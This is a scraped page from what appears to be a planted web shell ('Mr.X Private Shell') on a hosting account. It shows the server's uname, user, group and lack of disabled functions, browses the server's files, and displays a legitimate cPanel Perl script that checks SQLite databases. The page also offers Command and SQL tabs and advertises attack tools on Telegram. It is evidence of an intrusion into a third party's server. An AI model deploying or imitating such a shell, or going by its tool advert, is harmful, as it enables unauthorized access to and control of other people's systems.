Uname: Linux 50-6-4-53.bluehost.com 5.14.0-611.41.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Mar 19 03:50:11 EDT 2026 x86_64
User: 1011 (dccreditrepairto)
Group: 1010 (dccreditrepairto)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//scripts/      ( Reset | Go to )
File Name: perform_sqlite_auto_rebuild_db_maintenance
#!/usr/local/cpanel/3rdparty/bin/perl

#                                      Copyright 2024 WebPros International, LLC
#                                                           All rights reserved.
[email protected]                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited.

package scripts::perform_sqlite_auto_rebuild_db_maintenance;

use strict;
use warnings;

use parent qw( Cpanel::HelpfulScript );

use constant _OPTIONS => ();

use Try::Tiny;

use Cpanel::Debug              ();
use Cpanel::LoadModule         ();
use Cpanel::Update::InProgress ();
use Cpanel::Update::IsCron     ();

=encoding utf-8

=head1 NAME

scripts::perform_sqlite_auto_rebuild_db_maintenance

=head1 SYNOPSIS

/scripts/perform_sqlite_auto_rebuild_db_maintenance

=head1 DESCRIPTION

This script is used by the maintenance script to automatically check and repair auto-rebuilt SQLite databases

=cut

__PACKAGE__->new(@ARGV)->run() if !caller();

use constant DATABASE_PACKAGES => qw(
  Cpanel::Apache::TLS::Index Cpanel::Apache::TLS::Index::DB
  Cpanel::BandwidthDB::RootCache Cpanel::BandwidthDB::RootCache
  Cpanel::EximStats::DB::Sqlite Cpanel::EximStats::DB::Sqlite
);

sub run {
    my ($self) = @_;

    if ( Cpanel::Update::InProgress->is_on() && !Cpanel::Update::IsCron->is_on() ) {
        $self->say_maketext('A manual update of [asis,cPanel amp() WHM] is in progress. This script will exit now.');
        return;
    }

    my %packages = DATABASE_PACKAGES();

    for my $package ( keys %packages ) {
        try {
            Cpanel::LoadModule::load_perl_module($package);

            # Cpanel::Apache::TLS::Index uses Cpanel::Apache::TLS::Index::DB as its internal package for the database
            my $dbh = $packages{$package}->new( full_integrity_check => 1 );
        }
        catch {
            Cpanel::Debug::log_warn("There was an error attempting to do an integrity check on '$package': $_");
        };
    }

    return;
}

1;

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL